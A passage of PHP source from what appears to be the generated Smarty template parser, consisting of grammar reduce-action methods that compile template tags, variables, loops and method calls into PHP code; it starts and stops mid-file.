    public function yy_r4(){
       $this->current_buffer->append_subtree($this, new Smarty_Internal_ParseTree_Text($this->yystack[$this->yyidx + -1]->minor));
    }
// line 264 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r5(){
    $this->_retvalue = $this->yystack[$this->yyidx + -3]->minor.$this->yystack[$this->yyidx + -1]->minor;
    }
// line 267 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r6(){
    $this->_retvalue = $this->yystack[$this->yyidx + 0]->minor;
    }
// line 271 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r7(){
        $this->_retvalue = $this->yystack[$this->yyidx + -1]->minor.$this->yystack[$this->yyidx + 0]->minor;

    }
// line 276 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r8(){
    $this->_retvalue = '';
    }
// line 280 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r9(){
      if ($this->compiler->has_code) {
          $this->current_buffer->append_subtree($this, $this->mergePrefixCode($this->yystack[$this->yyidx + 0]->minor));
      }
     $this->compiler->has_variable_string = false;
     $this->block_nesting_level = count($this->compiler->_tag_stack);
    }
// line 292 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r11(){
    $var = trim(substr($this->yystack[$this->yyidx + 0]->minor, $this->compiler->getLdelLength(), -$this->compiler->getRdelLength()), ' $');
    if (preg_match('/^(.*)(\s+nocache)$/', $var, $match)) {
        $this->_retvalue = $this->compiler->compileTag('private_print_expression',array('nocache'),array('value'=>$this->compiler->compileVariable('\''.$match[1].'\'')));
    } else {
        $this->_retvalue = $this->compiler->compileTag('private_print_expression',array(),array('value'=>$this->compiler->compileVariable('\''.$var.'\'')));
    }
    }
// line 302 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r12(){
    $tag = trim(substr($this->yystack[$this->yyidx + 0]->minor, $this->compiler->getLdelLength(), -$this->compiler->getRdelLength()));
    if ($tag == 'strip') {
        $this->strip = true;
        $this->_retvalue = null;
    } else {
        if (defined($tag)) {
            if ($this->security) {
               $this->security->isTrustedConstant($tag, $this->compiler);
            }
            $this->_retvalue = $this->compiler->compileTag('private_print_expression',array(),array('value'=>$tag));
        } else {
            if (preg_match('/^(.*)(\s+nocache)$/', $tag, $match)) {
                $this->_retvalue = $this->compiler->compileTag($match[1],array('\'nocache\''));
            } else {
                $this->_retvalue = $this->compiler->compileTag($tag,array());
            }
        }
    }
    }
// line 323 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r13(){
    $j = strrpos($this->yystack[$this->yyidx + 0]->minor,'.');
    if ($this->yystack[$this->yyidx + 0]->minor[$j+1] == 'c') {
        // {$smarty.block.child}
        $this->_retvalue = $this->compiler->compileTag('child',array(),array($this->yystack[$this->yyidx + 0]->minor));
    } else {
        // {$smarty.block.parent}
       $this->_retvalue = $this->compiler->compileTag('parent',array(),array($this->yystack[$this->yyidx + 0]->minor));
     }
    }
// line 334 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r14(){
    $this->_retvalue  = $this->yystack[$this->yyidx + -1]->minor;
    }
// line 338 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r15(){
     $this->_retvalue  = $this->yystack[$this->yyidx + -1]->minor;
     }
// line 342 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r16(){
    $this->_retvalue = $this->compiler->compileTag('private_print_expression',$this->yystack[$this->yyidx + 0]->minor[1],array('value'=>$this->yystack[$this->yyidx + 0]->minor[0]));
    }
// line 351 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r17(){
    $this->_retvalue = $this->compiler->compileTag('assign',array_merge(array(array('value'=>$this->yystack[$this->yyidx + 0]->minor[0]),array('var'=>'\''.substr($this->yystack[$this->yyidx + -1]->minor,1).'\'')),$this->yystack[$this->yyidx + 0]->minor[1]));
    }
// line 355 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r18(){
    $this->_retvalue = $this->compiler->compileTag('assign',array_merge(array(array('value'=>$this->yystack[$this->yyidx + 0]->minor[0]),array('var'=>$this->yystack[$this->yyidx + -1]->minor['var'])),$this->yystack[$this->yyidx + 0]->minor[1]),array('smarty_internal_index'=>$this->yystack[$this->yyidx + -1]->minor['smarty_internal_index']));
    }
// line 359 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r19(){
       $this->_retvalue = $this->yystack[$this->yyidx + 0]->minor;
    }
// line 363 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r20(){
    $this->_retvalue = array($this->yystack[$this->yyidx + -1]->minor,$this->yystack[$this->yyidx + 0]->minor);
    }
// line 378 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r24(){
        if (defined($this->yystack[$this->yyidx + -1]->minor)) {
            if ($this->security) {
                $this->security->isTrustedConstant($this->yystack[$this->yyidx + -1]->minor, $this->compiler);
            }
            $this->_retvalue = $this->compiler->compileTag('private_print_expression',$this->yystack[$this->yyidx + 0]->minor,array('value'=>$this->yystack[$this->yyidx + -1]->minor));
        } else {
            $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -1]->minor,$this->yystack[$this->yyidx + 0]->minor);
        }
    }
// line 388 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r25(){
        if (defined($this->yystack[$this->yyidx + 0]->minor)) {
            if ($this->security) {
                $this->security->isTrustedConstant($this->yystack[$this->yyidx + 0]->minor, $this->compiler);
            }
            $this->_retvalue = $this->compiler->compileTag('private_print_expression',array(),array('value'=>$this->yystack[$this->yyidx + 0]->minor));
        } else {
            $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + 0]->minor,array());
        }
    }
// line 401 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r26(){
        if (defined($this->yystack[$this->yyidx + -2]->minor)) {
            if ($this->security) {
                $this->security->isTrustedConstant($this->yystack[$this->yyidx + -2]->minor, $this->compiler);
            }
            $this->_retvalue = $this->compiler->compileTag('private_print_expression',$this->yystack[$this->yyidx + 0]->minor,array('value'=>$this->yystack[$this->yyidx + -2]->minor, 'modifierlist'=>$this->yystack[$this->yyidx + -1]->minor));
        } else {
            $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -2]->minor,$this->yystack[$this->yyidx + 0]->minor, array('modifierlist'=>$this->yystack[$this->yyidx + -1]->minor));
        }
    }
// line 413 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r27(){
    $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -3]->minor,$this->yystack[$this->yyidx + 0]->minor,array('object_method'=>$this->yystack[$this->yyidx + -1]->minor));
    }
// line 418 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r28(){
    $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -4]->minor,$this->yystack[$this->yyidx + 0]->minor,array('modifierlist'=>$this->yystack[$this->yyidx + -1]->minor, 'object_method'=>$this->yystack[$this->yyidx + -2]->minor));
    }
// line 423 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r29(){
    $this->_retvalue = $this->compiler->compileTag('make_nocache',array(array('var'=>'\''.substr($this->yystack[$this->yyidx + 0]->minor,1).'\'')));
    }
// line 428 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r30(){
    $tag = trim(substr($this->yystack[$this->yyidx + -1]->minor,$this->compiler->getLdelLength())); 
    $this->_retvalue = $this->compiler->compileTag(($tag === 'else if')? 'elseif' : $tag,array(),array('if condition'=>$this->yystack[$this->yyidx + 0]->minor));
    }
// line 433 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r31(){
    $tag = trim(substr($this->yystack[$this->yyidx + -2]->minor,$this->compiler->getLdelLength()));
    $this->_retvalue = $this->compiler->compileTag(($tag === 'else if')? 'elseif' : $tag,$this->yystack[$this->yyidx + 0]->minor,array('if condition'=>$this->yystack[$this->yyidx + -1]->minor));
    }
// line 438 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r32(){
    $tag = trim(substr($this->yystack[$this->yyidx + -1]->minor,$this->compiler->getLdelLength()));
    $this->_retvalue = $this->compiler->compileTag(($tag === 'else if')? 'elseif' : $tag,array(),array('if condition'=>$this->yystack[$this->yyidx + 0]->minor));
    }
// line 449 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r34(){
    $this->_retvalue = $this->compiler->compileTag('for',array_merge($this->yystack[$this->yyidx + 0]->minor,array(array('start'=>$this->yystack[$this->yyidx + -6]->minor),array('ifexp'=>$this->yystack[$this->yyidx + -4]->minor),array('var'=>$this->yystack[$this->yyidx + -2]->minor),array('step'=>$this->yystack[$this->yyidx + -1]->minor))),1);
    }
// line 453 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r35(){
    $this->_retvalue = '='.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 461 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r37(){
    $this->_retvalue = $this->compiler->compileTag('for',array_merge($this->yystack[$this->yyidx + 0]->minor,array(array('start'=>$this->yystack[$this->yyidx + -3]->minor),array('to'=>$this->yystack[$this->yyidx + -1]->minor))),0);
    }
// line 465 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r38(){
    $this->_retvalue = $this->compiler->compileTag('for',array_merge($this->yystack[$this->yyidx + 0]->minor,array(array('start'=>$this->yystack[$this->yyidx + -5]->minor),array('to'=>$this->yystack[$this->yyidx + -3]->minor),array('step'=>$this->yystack[$this->yyidx + -1]->minor))),0);
    }
// line 470 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r39(){
    $this->_retvalue = $this->compiler->compileTag('foreach',array_merge($this->yystack[$this->yyidx + 0]->minor,array(array('from'=>$this->yystack[$this->yyidx + -3]->minor),array('item'=>$this->yystack[$this->yyidx + -1]->minor))));
    }
// line 474 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r40(){
    $this->_retvalue = $this->compiler->compileTag('foreach',array_merge($this->yystack[$this->yyidx + 0]->minor,array(array('from'=>$this->yystack[$this->yyidx + -5]->minor),array('item'=>$this->yystack[$this->yyidx + -1]->minor),array('key'=>$this->yystack[$this->yyidx + -3]->minor))));
    }
// line 477 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r41(){
    $this->_retvalue = $this->compiler->compileTag('foreach',$this->yystack[$this->yyidx + 0]->minor);
    }
// line 482 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r42(){
    $this->_retvalue = $this->compiler->compileTag('setfilter',array(),array('modifier_list'=>array(array_merge(array($this->yystack[$this->yyidx + -1]->minor),$this->yystack[$this->yyidx + 0]->minor))));
    }
// line 486 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r43(){
    $this->_retvalue = $this->compiler->compileTag('setfilter',array(),array('modifier_list'=>array_merge(array(array_merge(array($this->yystack[$this->yyidx + -2]->minor),$this->yystack[$this->yyidx + -1]->minor)),$this->yystack[$this->yyidx + 0]->minor)));
    }
// line 492 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r44(){
    $tag = trim(substr($this->yystack[$this->yyidx + 0]->minor, $this->compiler->getLdelLength(), -$this->compiler->getRdelLength()), ' /');
    if ($tag === 'strip') {
        $this->strip = false;
        $this->_retvalue = null;
    } else {
       $this->_retvalue = $this->compiler->compileTag($tag.'close',array());
    }
     }
// line 501 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r45(){
    $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + 0]->minor.'close',array());
    }
// line 505 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r46(){
    $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -1]->minor.'close',array(),array('modifier_list'=>$this->yystack[$this->yyidx + 0]->minor));
    }
// line 510 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r47(){
    $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -2]->minor.'close',array(),array('object_method'=>$this->yystack[$this->yyidx + 0]->minor));
    }
// line 514 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r48(){
    $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -3]->minor.'close',array(),array('object_method'=>$this->yystack[$this->yyidx + -1]->minor, 'modifier_list'=>$this->yystack[$this->yyidx + 0]->minor));
    }
// line 522 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r49(){
    $this->_retvalue = $this->yystack[$this->yyidx + -1]->minor;
    $this->_retvalue[] = $this->yystack[$this->yyidx + 0]->minor;
    }
// line 528 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r50(){
    $this->_retvalue = array($this->yystack[$this->yyidx + 0]->minor);
    }
// line 533 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r51(){
    $this->_retvalue = array();
    }
// line 538 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r52(){
    if (defined($this->yystack[$this->yyidx + 0]->minor)) {
        if ($this->security) {
            $this->security->isTrustedConstant($this->yystack[$this->yyidx + 0]->minor, $this->compiler);
        }
        $this->_retvalue = array($this->yystack[$this->yyidx + -2]->minor=>$this->yystack[$this->yyidx + 0]->minor);
    } else {
        $this->_retvalue = array($this->yystack[$this->yyidx + -2]->minor=>'\''.$this->yystack[$this->yyidx + 0]->minor.'\'');
    }
    }
// line 549 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r53(){
    $this->_retvalue = array(trim($this->yystack[$this->yyidx + -1]->minor," =\n\r\t")=>$this->yystack[$this->yyidx + 0]->minor);
    }
// line 557 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r55(){
    $this->_retvalue = '\''.$this->yystack[$this->yyidx + 0]->minor.'\'';
    }
// line 569 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r58(){
    $this->_retvalue = array($this->yystack[$this->yyidx + -2]->minor=>$this->yystack[$this->yyidx + 0]->minor);
    }
// line 582 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r60(){
    $this->yystack[$this->yyidx + -2]->minor[]=$this->yystack[$this->yyidx + 0]->minor;
    $this->_retvalue = $this->yystack[$this->yyidx + -2]->minor;
    }
// line 587 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r61(){
    $this->_retvalue = array('var' => '\''.substr($this->yystack[$this->yyidx + -2]->minor,1).'\'', 'value'=>$this->yystack[$this->yyidx + 0]->minor);
    }
// line 594 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r63(){
    $this->_retvalue = array('var' => $this->yystack[$this->yyidx + -2]->minor, 'value'=>$this->yystack[$this->yyidx + 0]->minor);
    }
// line 598 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r64(){
    $this->_retvalue = $this->yystack[$this->yyidx + -1]->minor;
    }
// line 618 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r67(){
    $this->_retvalue = '$_smarty_tpl->getStreamVariable(\''.substr($this->yystack[$this->yyidx + -2]->minor,1).'://' . $this->yystack[$this->yyidx + 0]->minor . '\')';
    }
// line 623 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r68(){
    $this->_retvalue = $this->yystack[$this->yyidx + -2]->minor . trim($this->yystack[$this->yyidx + -1]->minor) . $this->yystack[$this->yyidx + 0]->minor;
    }
// line 633 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r70(){
    $this->_retvalue = $this->yystack[$this->yyidx + -1]->minor['pre']. $this->yystack[$this->yyidx + -2]->minor.$this->yystack[$this->yyidx + -1]->minor['op'].$this->yystack[$this->yyidx + 0]->minor .')';
    }
// line 637 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r71(){
    $this->_retvalue = $this->yystack[$this->yyidx + -2]->minor.$this->yystack[$this->yyidx + -1]->minor.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 641 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r72(){
    $this->_retvalue = $this->yystack[$this->yyidx + 0]->minor . $this->yystack[$this->yyidx + -1]->minor . ')';
    }
// line 645 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r73(){
    $this->_retvalue = 'in_array('.$this->yystack[$this->yyidx + -2]->minor.','.$this->yystack[$this->yyidx + 0]->minor.')';
    }
// line 649 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r74(){
    $this->_retvalue = 'in_array('.$this->yystack[$this->yyidx + -2]->minor.',(array)'.$this->yystack[$this->yyidx + 0]->minor.')';
    }
// line 657 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r75(){
    $this->_retvalue = $this->yystack[$this->yyidx + -5]->minor.' ? '. $this->compiler->compileVariable('\''.substr($this->yystack[$this->yyidx + -2]->minor,1).'\'') . ' : '.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 661 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r76(){
    $this->_retvalue = $this->yystack[$this->yyidx + -5]->minor.' ? '.$this->yystack[$this->yyidx + -2]->minor.' : '.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 671 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r78(){
    $this->_retvalue = $this->yystack[$this->yyidx + -1]->minor.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 676 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r79(){
    $this->_retvalue = '!'.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 697 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r84(){
    $this->_retvalue = $this->yystack[$this->yyidx + -2]->minor.'.'.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 701 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r85(){
    $this->_retvalue = $this->yystack[$this->yyidx + -1]->minor.'.';
    }
// line 705 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r86(){
    $this->_retvalue = '.'.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 710 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r87(){
    if (defined($this->yystack[$this->yyidx + 0]->minor)) {
        if ($this->security) {
             $this->security->isTrustedConstant($this->yystack[$this->yyidx + 0]->minor, $this->compiler);
        }
        $this->_retvalue = $this->yystack[$this->yyidx + 0]->minor;
    } else {
        $this->_retvalue = '\''.$this->yystack[$this->yyidx + 0]->minor.'\'';
    }
    }
// line 727 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r89(){
    $this->_retvalue = '('. $this->yystack[$this->yyidx + -1]->minor .')';
    }
// line 731 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r90(){
      $this->_retvalue = $this->yystack[$this->yyidx + -2]->minor.$this->yystack[$this->yyidx + -1]->minor.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 749 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r94(){
	    if ($this->security && $this->security->static_classes !== array()) {
		    $this->compiler->trigger_template_error('dynamic static class not allowed by security setting');
	    }
    $prefixVar = $this->compiler->getNewPrefixVariable();
    if ($this->yystack[$this->yyidx + -2]->minor['var'] === '\'smarty\'') {
        $this->compiler->appendPrefixCode("<?php {$prefixVar} = ". $this->compiler->compileTag('private_special_variable',array(),$this->yystack[$this->yyidx + -2]->minor['smarty_internal_index']).';?>');
     } else {
        $this->compiler->appendPrefixCode("<?php  {$prefixVar} = ". $this->compiler->compileVariable($this->yystack[$this->yyidx + -2]->minor['var']).$this->yystack[$this->yyidx + -2]->minor['smarty_internal_index'].';?>');
    }
    $this->_retvalue = $prefixVar .'::'.$this->yystack[$this->yyidx + 0]->minor[0].$this->yystack[$this->yyidx + 0]->minor[1];
    }
// line 760 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r95(){
    $prefixVar = $this->compiler->getNewPrefixVariable();
    $tmp = $this->compiler->appendCode('<?php ob_start();?>', $this->yystack[$this->yyidx + 0]->minor);
    $this->compiler->appendPrefixCode($this->compiler->appendCode($tmp, "<?php {$prefixVar} = ob_get_clean();?>"));
    $this->_retvalue = $prefixVar;
    }
// line 767 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r96(){
    $this->_retvalue = $this->compiler->compileTag('private_modifier',array(),array('value'=>$this->yystack[$this->yyidx + -1]->minor,'modifierlist'=>$this->yystack[$this->yyidx + 0]->minor));
    }
// line 780 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r99(){
    if (!in_array(strtolower($this->yystack[$this->yyidx + -2]->minor), array('self', 'parent')) && (!$this->security || $this->security->isTrustedStaticClassAccess($this->yystack[$this->yyidx + -2]->minor, $this->yystack[$this->yyidx + 0]->minor, $this->compiler))) {
        if (isset($this->smarty->registered_classes[$this->yystack[$this->yyidx + -2]->minor])) {
            $this->_retvalue = $this->smarty->registered_classes[$this->yystack[$this->yyidx + -2]->minor].'::'.$this->yystack[$this->yyidx + 0]->minor[0].$this->yystack[$this->yyidx + 0]->minor[1];
        } else {
            trigger_error('Using unregistered static method "' . $this->yystack[$this->yyidx + -2]->minor.'::'.$this->yystack[$this->yyidx + 0]->minor[0] . '" in a template is deprecated and will be ' .
                'removed in a future release. Use Smarty::registerClass to explicitly register ' .
                'a class for access.', E_USER_DEPRECATED);
            $this->_retvalue = $this->yystack[$this->yyidx + -2]->minor.'::'.$this->yystack[$this->yyidx + 0]->minor[0].$this->yystack[$this->yyidx + 0]->minor[1];
        } 
    } else {
        $this->compiler->trigger_template_error ('static class \''.$this->yystack[$this->yyidx + -2]->minor.'\' is undefined or not allowed by security setting');
    }
    }
// line 799 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r101(){
    $this->_retvalue = $this->yystack[$this->yyidx + 0]->minor;
        }
// line 810 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r102(){
   $this->_retvalue = $this->compiler->compileVariable('\''.substr($this->yystack[$this->yyidx + 0]->minor,1).'\'');
    }
// line 813 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r103(){
    if ($this->yystack[$this->yyidx + 0]->minor['var'] === '\'smarty\'') {
        $smarty_var = $this->compiler->compileTag('private_special_variable',array(),$this->yystack[$this->yyidx + 0]->minor['smarty_internal_index']);
        $this->_retvalue = $smarty_var;
    } else {
        // used for array reset,next,prev,end,current 
        $this->last_variable = $this->yystack[$this->yyidx + 0]->minor['var'];
        $this->last_index = $this->yystack[$this->yyidx + 0]->minor['smarty_internal_index'];
        $this->_retvalue = $this->compiler->compileVariable($this->yystack[$this->yyidx + 0]->minor['var']).$this->yystack[$this->yyidx + 0]->minor['smarty_internal_index'];
    }
    }
// line 826 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r104(){
    $this->_retvalue = '$_smarty_tpl->tpl_vars['. $this->yystack[$this->yyidx + -2]->minor .']->'.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 836 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r106(){
    $this->_retvalue = $this->compiler->compileConfigVariable('\'' . $this->yystack[$this->yyidx + -1]->minor . '\'');
    }
// line 840 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r107(){
    $this->_retvalue = '(is_array($tmp = ' . $this->compiler->compileConfigVariable('\'' . $this->yystack[$this->yyidx + -2]->minor . '\'') . ') ? $tmp'.$this->yystack[$this->yyidx + 0]->minor.' :null)';
    }
// line 844 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r108(){
    $this->_retvalue = $this->compiler->compileConfigVariable($this->yystack[$this->yyidx + -1]->minor);
    }
// line 848 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r109(){
    $this->_retvalue = '(is_array($tmp = ' . $this->compiler->compileConfigVariable($this->yystack[$this->yyidx + -2]->minor) . ') ? $tmp'.$this->yystack[$this->yyidx + 0]->minor.' : null)';
    }
// line 852 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r110(){
    $this->_retvalue = array('var'=>'\''.substr($this->yystack[$this->yyidx + -1]->minor,1).'\'', 'smarty_internal_index'=>$this->yystack[$this->yyidx + 0]->minor);
    }
// line 855 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r111(){
    $this->_retvalue = array('var'=>$this->yystack[$this->yyidx + -1]->minor, 'smarty_internal_index'=>$this->yystack[$this->yyidx + 0]->minor);
    }
// line 868 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r113(){
    return;
    }
// line 874 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r114(){
    $this->_retvalue = '['.$this->compiler->compileVariable('\''.substr($this->yystack[$this->yyidx + 0]->minor,1).'\'').']';
    }
// line 877 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r115(){
    $this->_retvalue = '['.$this->compiler->compileVariable($this->yystack[$this->yyidx + 0]->minor).']';
    }
// line 881 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r116(){
    $this->_retvalue = '['.$this->compiler->compileVariable($this->yystack[$this->yyidx + -2]->minor).'->'.$this->yystack[$this->yyidx + 0]->minor.']';
    }
// line 885 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r117(){
    $this->_retvalue = '[\''. $this->yystack[$this->yyidx + 0]->minor .'\']';
    }
// line 889 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r118(){
    $this->_retvalue = '['. $this->yystack[$this->yyidx + 0]->minor .']';
    }
// line 894 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r119(){
    $this->_retvalue = '['. $this->yystack[$this->yyidx + -1]->minor .']';
    }
// line 899 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r120(){
    $this->_retvalue = '['.$this->compiler->compileTag('private_special_variable',array(),'[\'section\'][\''.$this->yystack[$this->yyidx + -1]->minor.'\'][\'index\']').']';
    }
// line 903 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r121(){
    $this->_retvalue = '['.$this->compiler->compileTag('private_special_variable',array(),'[\'section\'][\''.$this->yystack[$this->yyidx + -3]->minor.'\'][\''.$this->yystack[$this->yyidx + -1]->minor.'\']').']';
    }
// line 906 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r122(){
    $this->_retvalue = '['.$this->yystack[$this->yyidx + -1]->minor.']';
    }
// line 912 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r124(){
    $this->_retvalue = '['.$this->compiler->compileVariable('\''.substr($this->yystack[$this->yyidx + -1]->minor,1).'\'').']';
    }
// line 928 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r128(){
    $this->_retvalue = '[]';
    }
// line 938 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r129(){
    $this->_retvalue = '\''.substr($this->yystack[$this->yyidx + 0]->minor,1).'\'';
    }
// line 942 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r130(){
    $this->_retvalue = '\'\'';
    }
// line 947 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r131(){
    $this->_retvalue = $this->yystack[$this->yyidx + -1]->minor.'.'.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 955 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r133(){
    $var = trim(substr($this->yystack[$this->yyidx + 0]->minor, $this->compiler->getLdelLength(), -$this->compiler->getRdelLength()), ' $');
    $this->_retvalue = $this->compiler->compileVariable('\''.$var.'\'');
    }
// line 961 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r134(){
    $this->_retvalue = '('.$this->yystack[$this->yyidx + -1]->minor.')';
    }
// line 968 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r135(){
    if ($this->yystack[$this->yyidx + -1]->minor['var'] === '\'smarty\'') {
        $this->_retvalue =  $this->compiler->compileTag('private_special_variable',array(),$this->yystack[$this->yyidx + -1]->minor['smarty_internal_index']).$this->yystack[$this->yyidx + 0]->minor;
    } else {
        $this->_retvalue = $this->compiler->compileVariable($this->yystack[$this->yyidx + -1]->minor['var']).$this->yystack[$this->yyidx + -1]->minor['smarty_internal_index'].$this->yystack[$this->yyidx + 0]->minor;
    }
    }
// line 977 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r136(){
    $this->_retvalue  = $this->yystack[$this->yyidx + 0]->minor;
    }
// line 982 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r137(){
    $this->_retvalue  = $this->yystack[$this->yyidx + -1]->minor.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 987 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r138(){
    if ($this->security && substr($this->yystack[$this->yyidx + -1]->minor,0,1) === '_') {
        $this->compiler->trigger_template_error (self::ERR1);
    }
    $this->_retvalue = '->'.$this->yystack[$this->yyidx + -1]->minor.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 994 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r139(){
    if ($this->security) {
        $this->compiler->trigger_template_error (self::ERR2);
    }
    $this->_retvalue = '->{'.$this->compiler->compileVariable($this->yystack[$this->yyidx + -1]->minor).$this->yystack[$this->yyidx + 0]->minor.'}';
    }
// line 1001 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r140(){
    if ($this->security) {
        $this->compiler->trigger_template_error (self::ERR2);
    }
    $this->_retvalue = '->{'.$this->yystack[$this->yyidx + -2]->minor.$this->yystack[$this->yyidx + 0]->minor.'}';
    }
// line 1008 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r141(){
    if ($this->security) {
        $this->compiler->trigger_template_error (self::ERR2);
    }
    $this->_retvalue = '->{\''.$this->yystack[$this->yyidx + -4]->minor.'\'.'.$this->yystack[$this->yyidx + -2]->minor.$this->yystack[$this->yyidx + 0]->minor.'}';
    }
// line 1016 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r142(){
